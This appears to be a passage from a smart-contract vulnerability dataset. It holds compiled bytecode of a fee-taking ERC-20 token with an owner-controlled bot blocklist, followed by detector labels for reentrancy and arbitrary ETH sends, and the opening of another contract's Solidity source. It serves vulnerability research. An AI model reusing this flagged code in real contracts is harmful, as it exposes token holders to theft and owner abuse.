fffffffffffffffffffffffffff168152602001908152602001600020546128d6565b9050919050565b610e8b611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0f906141b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611017611ef0565b73ffffffffffffffffffffffffffffffffffffffff161461103757600080fd5b60028110158015611049575060648111155b611088576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107f90614135565b60405180910390fd5b80600d8190555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d3611ef0565b73ffffffffffffffffffffffffffffffffffffffff16146110f357600080fd5b6014811115611137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112e90614175565b60405180910390fd5b80600f8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111ab611ef0565b73ffffffffffffffffffffffffffffffffffffffff16146111cb57600080fd5b6000600c54101580156111e157506064600c5411155b611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790614155565b60405180910390fd5b80600c8190555050565b60606040518060400160405280600681526020017f5a4845544f4e0000000000000000000000000000000000000000000000000000815250905090565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112a8611ef0565b73ffffffffffffffffffffffffffffffffffffffff16146112c857600080fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611359576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611350906140f5565b60405180910390fd5b6113638282612944565b5050565b600061137b611374611ef0565b84846120c3565b6001905092915050565b61138d611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461141a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611411906141b5565b60405180910390fd5b60005b828290508110156115ba57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683838381811061147457611473614619565b5b9050602002016020810190611489919061394d565b73ffffffffffffffffffffffffffffffffffffffff16141580156115225750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106114f4576114f3614619565b5b9050602002016020810190611509919061394d565b73ffffffffffffffffffffffffffffffffffffffff1614155b156115a7576001600660008585858181106115405761153f614619565b5b9050602002016020810190611555919061394d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806115b290614572565b91505061141d565b505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611600611ef0565b73ffffffffffffffffffffffffffffffffffffffff161461162057600080fd5b80601660176101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661167e611ef0565b73ffffffffffffffffffffffffffffffffffffffff161461169e57600080fd5b60006116a930610e32565b90506116b48161299f565b50565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116f8611ef0565b73ffffffffffffffffffffffffffffffffffffffff161461171857600080fd5b600581111561175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175390614115565b60405180910390fd5b80600a8190555050565b61176e611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f2906141b5565b60405180910390fd5b601660149054906101000a900460ff161561184b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184290614235565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506118db30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611ef8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561192157600080fd5b505afa158015611935573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611959919061397a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119bb57600080fd5b505afa1580156119cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119f3919061397a565b6040518363ffffffff1660e01b8152600401611a10929190613f85565b602060405180830381600087803b158015611a2a57600080fd5b505af1158015611a3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a62919061397a565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611aeb30610e32565b600080611af6611141565b426040518863ffffffff1660e01b8152600401611b1896959493929190613fd7565b6060604051808303818588803b158015611b3157600080fd5b505af1158015611b45573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b6a9190613bbb565b505050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611c0c929190613fae565b602060405180830381600087803b158015611c2657600080fd5b505af1158015611c3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c5e9190613b61565b506001601660146101000a81548160ff02191690831515021790555042601281905550600160176000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d3f611ef0565b73ffffffffffffffffffffffffffffffffffffffff1614611d5f57600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611de7601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e32565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611eb4611ef0565b73ffffffffffffffffffffffffffffffffffffffff1614611ed457600080fd5b806016806101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5f90614215565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcf906140b5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120b69190614295565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212a906141f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156121a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219a90614075565b60405180910390fd5b600081116121e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121dd906141d5565b60405180910390fd5b6121ee611141565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561225c575061222c611141565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156125d657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156123055750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61230e57600080fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123b95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561240f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124ef57601660149054906101000a900460ff16612463576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245a90614255565b60405180910390fd5b6101a460125461247391906143b1565b42111561248857600e54600b81905550612491565b605a600b819055505b600061249c83610e32565b90506124cf60646124c1600d54683635c9adc5dea00000612c2790919063ffffffff16565b612ca290919063ffffffff16565b6124e28284612cec90919063ffffffff16565b11156124ed57600080fd5b505b60006124fa30610e32565b9050601660189054906101000a900460ff161580156125675750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561257f5750601660149054906101000a900460ff165b156125d457600f54600b819055506009548111156125d35760168054906101000a900460ff166125af5760095490505b6000600c5411156125c8576125c381612d4a565b6125d2565b6125d181612ebc565b5b5b5b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061267d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806126945750601660159054906101000a900460ff165b1561269e57600090505b601660179054906101000a900460ff161580156127055750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561275b5750601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561276557600090505b61277184848484612f17565b50505050565b60008383111582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b69190614053565b60405180910390fd5b50600083856127ce9190614492565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61282b600284612ca290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612856573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6128a7600284612ca290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156128d2573d6000803e3d6000fd5b5050565b600060075482111561291d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291490614095565b60405180910390fd5b6000612927612f44565b905061293c8184612ca290919063ffffffff16565b915050919050565b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6001601660186101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156129d7576129d6614648565b5b604051908082528060200260200182016040528015612a055781602001602082028036833780820191505090505b5090503081600081518110612a1d57612a1c614619565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612abf57600080fd5b505afa158015612ad3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612af7919061397a565b81600181518110612b0b57612b0a614619565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b7230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ef8565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612bd69594939291906142b0565b600060405180830381600087803b158015612bf057600080fd5b505af1158015612c04573d6000803e3d6000fd5b50505050506000601660186101000a81548160ff02191690831515021790555050565b600080831415612c3a5760009050612c9c565b60008284612c489190614438565b9050828482612c579190614407565b14612c97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c8e90614195565b60405180910390fd5b809150505b92915050565b6000612ce483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612f6f565b905092915050565b6000808284612cfb91906143b1565b905083811015612d40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d37906140d5565b60405180910390fd5b8091505092915050565b6001601660186101000a81548160ff0219169083151502179055506000600c546064612d769190614492565b90506000612da26064612d94600c5486612c2790919063ffffffff16565b612ca290919063ffffffff16565b90506000612dba600283612ca290919063ffffffff16565b90506000612dd18286612fd290919063ffffffff16565b90506000479050612de18261301c565b6000612df68247612fd290919063ffffffff16565b90506000612e206064612e128985612c2790919063ffffffff16565b612ca290919063ffffffff16565b9050612e2b816127db565b60008183612e399190614492565b9050600086118015612e4b5750600081115b15612e9657612e5a868261326e565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858289604051612e8d9392919061430a565b60405180910390a15b50505050505050506000601660186101000a81548160ff02191690831515021790555050565b6001601660186101000a81548160ff021916908315150217905550612ee08161301c565b60004790506000811115612ef857612ef7476127db565b5b506000601660186101000a81548160ff02191690831515021790555050565b80612f2557612f24613362565b5b612f308484846133a5565b80612f3e57612f3d613570565b5b50505050565b6000806000612f51613584565b91509150612f688183612ca290919063ffffffff16565b9250505090565b60008083118290612fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fad9190614053565b60405180910390fd5b5060008385612fc59190614407565b9050809150509392505050565b600061301483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612777565b905092915050565b6000600267ffffffffffffffff81111561303957613038614648565b5b6040519080825280602002602001820160405280156130675781602001602082028036833780820191505090505b509050308160008151811061307f5761307e614619565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561312157600080fd5b505afa158015613135573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613159919061397a565b8160018151811061316d5761316c614619565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506131d430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ef8565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016132389594939291906142b0565b600060405180830381600087803b15801561325257600080fd5b505af1158015613266573d6000803e3d6000fd5b505050505050565b61329b30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ef8565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806132e7611141565b426040518863ffffffff1660e01b815260040161330996959493929190613fd7565b6060604051808303818588803b15801561332257600080fd5b505af1158015613336573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061335b9190613bbb565b5050505050565b6000600a5414801561337657506000600b54145b15613380576133a3565b600a54601081905550600b546011819055506000600a819055506000600b819055505b565b6000806000806000806133b7876135e6565b95509550955095509550955061341586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fd290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134aa85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cec90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f68161364e565b613500848361370b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161355d9190614295565b60405180910390a3505050505050505050565b601054600a81905550601154600b81905550565b600080600060075490506000683635c9adc5dea0000090506135ba683635c9adc5dea00000600754612ca290919063ffffffff16565b8210156135d957600754683635c9adc5dea000009350935050506135e2565b81819350935050505b9091565b60008060008060008060008060006136038a600a54600b54613745565b9250925092506000613613612f44565b905060008060006136268e8787876137db565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613658612f44565b9050600061366f8284612c2790919063ffffffff16565b90506136c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cec90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61372082600754612fd290919063ffffffff16565b60078190555061373b81600854612cec90919063ffffffff16565b6008819055505050565b6000806000806137716064613763888a612c2790919063ffffffff16565b612ca290919063ffffffff16565b9050600061379b606461378d888b612c2790919063ffffffff16565b612ca290919063ffffffff16565b905060006137c4826137b6858c612fd290919063ffffffff16565b612fd290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137f48589612c2790919063ffffffff16565b9050600061380b8689612c2790919063ffffffff16565b905060006138228789612c2790919063ffffffff16565b9050600061384b8261383d8587612fd290919063ffffffff16565b612fd290919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061387381614ad6565b92915050565b60008151905061388881614ad6565b92915050565b60008135905061389d81614aed565b92915050565b60008083601f8401126138b9576138b861467c565b5b8235905067ffffffffffffffff8111156138d6576138d5614677565b5b6020830191508360208202830111156138f2576138f1614681565b5b9250929050565b60008135905061390881614b04565b92915050565b60008151905061391d81614b04565b92915050565b60008135905061393281614b1b565b92915050565b60008151905061394781614b1b565b92915050565b6000602082840312156139635761396261468b565b5b600061397184828501613864565b91505092915050565b6000602082840312156139905761398f61468b565b5b600061399e84828501613879565b91505092915050565b6000602082840312156139bd576139bc61468b565b5b60006139cb8482850161388e565b91505092915050565b600080604083850312156139eb576139ea61468b565b5b60006139f985828601613864565b9250506020613a0a85828601613864565b9150509250929050565b600080600060608486031215613a2d57613a2c61468b565b5b6000613a3b86828701613864565b9350506020613a4c86828701613864565b9250506040613a5d86828701613923565b9150509250925092565b60008060408385031215613a7e57613a7d61468b565b5b6000613a8c85828601613864565b9250506020613a9d858286016138f9565b9150509250929050565b60008060408385031215613abe57613abd61468b565b5b6000613acc85828601613864565b9250506020613add85828601613923565b9150509250929050565b60008060208385031215613afe57613afd61468b565b5b600083013567ffffffffffffffff811115613b1c57613b1b614686565b5b613b28858286016138a3565b92509250509250929050565b600060208284031215613b4a57613b4961468b565b5b6000613b58848285016138f9565b91505092915050565b600060208284031215613b7757613b7661468b565b5b6000613b858482850161390e565b91505092915050565b600060208284031215613ba457613ba361468b565b5b6000613bb284828501613923565b91505092915050565b600080600060608486031215613bd457613bd361468b565b5b6000613be286828701613938565b9350506020613bf386828701613938565b9250506040613c0486828701613938565b9150509250925092565b6000613c1a8383613c26565b60208301905092915050565b613c2f816144c6565b82525050565b613c3e816144c6565b82525050565b6000613c4f8261436c565b613c59818561438f565b9350613c648361435c565b8060005b83811015613c95578151613c7c8882613c0e565b9750613c8783614382565b925050600181019050613c68565b5085935050505092915050565b613cab816144ea565b82525050565b613cba8161452d565b82525050565b6000613ccb82614377565b613cd581856143a0565b9350613ce581856020860161453f565b613cee81614690565b840191505092915050565b6000613d066023836143a0565b9150613d11826146a1565b604082019050919050565b6000613d29602a836143a0565b9150613d34826146f0565b604082019050919050565b6000613d4c6022836143a0565b9150613d578261473f565b604082019050919050565b6000613d6f601b836143a0565b9150613d7a8261478e565b602082019050919050565b6000613d926039836143a0565b9150613d9d826147b7565b604082019050919050565b6000613db56017836143a0565b9150613dc082614806565b602082019050919050565b6000613dd8602e836143a0565b9150613de38261482f565b604082019050919050565b6000613dfb6031836143a0565b9150613e068261487e565b604082019050919050565b6000613e1e601d836143a0565b9150613e29826148cd565b602082019050919050565b6000613e416021836143a0565b9150613e4c826148f6565b604082019050919050565b6000613e646020836143a0565b9150613e6f82614945565b602082019050919050565b6000613e876029836143a0565b9150613e928261496e565b604082019050919050565b6000613eaa6025836143a0565b9150613eb5826149bd565b604082019050919050565b6000613ecd6024836143a0565b9150613ed882614a0c565b604082019050919050565b6000613ef06017836143a0565b9150613efb82614a5b565b602082019050919050565b6000613f136018836143a0565b9150613f1e82614a84565b602082019050919050565b6000613f36601c836143a0565b9150613f4182614aad565b602082019050919050565b613f5581614516565b82525050565b613f6481614520565b82525050565b6000602082019050613f7f6000830184613c35565b92915050565b6000604082019050613f9a6000830185613c35565b613fa76020830184613c35565b9392505050565b6000604082019050613fc36000830185613c35565b613fd06020830184613f4c565b9392505050565b600060c082019050613fec6000830189613c35565b613ff96020830188613f4c565b6140066040830187613cb1565b6140136060830186613cb1565b6140206080830185613c35565b61402d60a0830184613f4c565b979650505050505050565b600060208201905061404d6000830184613ca2565b92915050565b6000602082019050818103600083015261406d8184613cc0565b905092915050565b6000602082019050818103600083015261408e81613cf9565b9050919050565b600060208201905081810360008301526140ae81613d1c565b9050919050565b600060208201905081810360008301526140ce81613d3f565b9050919050565b600060208201905081810360008301526140ee81613d62565b9050919050565b6000602082019050818103600083015261410e81613d85565b9050919050565b6000602082019050818103600083015261412e81613da8565b9050919050565b6000602082019050818103600083015261414e81613dcb565b9050919050565b6000602082019050818103600083015261416e81613dee565b9050919050565b6000602082019050818103600083015261418e81613e11565b9050919050565b600060208201905081810360008301526141ae81613e34565b9050919050565b600060208201905081810360008301526141ce81613e57565b9050919050565b600060208201905081810360008301526141ee81613e7a565b9050919050565b6000602082019050818103600083015261420e81613e9d565b9050919050565b6000602082019050818103600083015261422e81613ec0565b9050919050565b6000602082019050818103600083015261424e81613ee3565b9050919050565b6000602082019050818103600083015261426e81613f06565b9050919050565b6000602082019050818103600083015261428e81613f29565b9050919050565b60006020820190506142aa6000830184613f4c565b92915050565b600060a0820190506142c56000830188613f4c565b6142d26020830187613cb1565b81810360408301526142e48186613c44565b90506142f36060830185613c35565b6143006080830184613f4c565b9695505050505050565b600060608201905061431f6000830186613f4c565b61432c6020830185613f4c565b6143396040830184613f4c565b949350505050565b60006020820190506143566000830184613f5b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006143bc82614516565b91506143c783614516565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156143fc576143fb6145bb565b5b828201905092915050565b600061441282614516565b915061441d83614516565b92508261442d5761442c6145ea565b5b828204905092915050565b600061444382614516565b915061444e83614516565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614487576144866145bb565b5b828202905092915050565b600061449d82614516565b91506144a883614516565b9250828210156144bb576144ba6145bb565b5b828203905092915050565b60006144d1826144f6565b9050919050565b60006144e3826144f6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061453882614516565b9050919050565b60005b8381101561455d578082015181840152602081019050614542565b8381111561456c576000848401525b50505050565b600061457d82614516565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156145b0576145af6145bb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b7f746178206d757374206265206c657373207468616e2035000000000000000000600082015250565b7f6d61782077616c6c65742070657263656e74616765206d75737420626520626560008201527f747765656e203220746f20313030000000000000000000000000000000000000602082015250565b7f6c6971756964697479206665652070657263656e74616765206d75737420626560008201527f206265747765656e203020746f20313030000000000000000000000000000000602082015250565b7f53656c6c20666565206d757374206265206c657373207468616e203230000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b7f42757920666565206d757374206265206c657373207468616e20313000000000600082015250565b614adf816144c6565b8114614aea57600080fd5b50565b614af6816144d8565b8114614b0157600080fd5b50565b614b0d816144ea565b8114614b1857600080fd5b50565b614b2481614516565b8114614b2f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200e7813345a5a507252fb0349c056e43ada3a9423587835f1104a13af79c69c3564736f6c63430008050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 657 |
0x953849279a22fe13a0c423fd9517fe521478c631 | pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
// function renounceOwnership() public onlyOwner {
// emit OwnershipTransferred(_owner, address(0));
// _owner = address(0);
// }
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
